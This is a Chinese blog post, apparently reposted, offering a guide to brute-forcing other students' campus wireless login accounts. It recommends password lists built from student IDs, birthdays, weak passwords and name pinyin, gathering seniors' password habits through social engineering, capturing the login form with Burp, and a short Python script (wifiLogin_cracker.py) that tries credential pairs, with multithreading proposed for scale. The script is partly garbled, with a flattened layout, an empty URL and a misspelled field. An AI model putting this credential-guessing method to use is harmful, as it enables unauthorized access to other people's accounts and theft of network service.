校园宽带破解---解救断网之际(二)

来源:互联网 发布:免费淘宝兼职平台 编辑:程序博客网 时间:2024/04/26 16:04

需求:校园宽带破解的速度,以及正确率
分析:
1)先说速度:
第一个验证方式,我前一篇是采用cmd连接宽带,这个有个硬件限制,拨号不能太快和同时拨号,不然会显示解调器错误等,所以根据每个人电脑来,可以设置不同的延时,延时短是不是速度就上去了,但是这个不是最后的办法,前一篇我提到过,无线网页验证,这个不仅没有硬件的限制,同时可以多线程,高并发访问。
2)正确率
这个和你的密码本有关,这个你就要了解常用的密码,以及组合模式,大部分就是学号,生日,123456等弱密码,姓名全拼音,姓名拼音首字母和密码组合等,你可以通过社工方式去了解学长学姐们设置密码的方式,这个能提高不少正确率。
亮剑:

》第一步:找到无线登陆网址
》第二步:
观察界面,有几个输入框,有没有验证码,没有验证码,就简单些,有验证码,也不能说它难!
》第三步:分析post提交数据(因为有隐藏数据),以及提交后Http的状态码(为判断成功或者失败作准备)
我提供几种方案去分析:
1)用神器burp拦截,这里有几个要说明,burp拦截的数据已经urlencode了,所以后面如果要直接用,一定要处理一下,比如把%3A替换成:
2)用火狐F12或者火狐插件(HttpFox )
3)用chrome F12
》第四步:使用python requests 模拟登陆

wifiLogin_cracker.py
#coding=utf-8import requestsdef do_login(uname,upwd):    # 无线登录网址    url=""    try:        s=requests.session()        #构造POST数据,通过工具分析的隐藏数据一定要添加,还有注意很长隐藏数据,很可能不一样,可以用比较工具分析        pdata=dict()        pdata['username']=uname        pdata['possword']=upwd        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0',                   'Content-Type': 'application/x-www-form-urlencoded',#这个必须要,就是为了进行url编码,不懂问度娘                   }        #提交POST        resp=s.put(url,pdata,headers=headers)        #判断是不是已经登录成功        #这里根据分析直接用状态码就可以        if resp.status_code==302:            print 'uname: '+uname+' upwd: '+upwd+': login successs!'    except Exception as e:        print "分析下面报错:"        print eif __name__=='__main__':    do_login("2013121545",'123456')

》第五步:多线程,这个只要第四步走通,下面就很简单了,我就不写了

0 0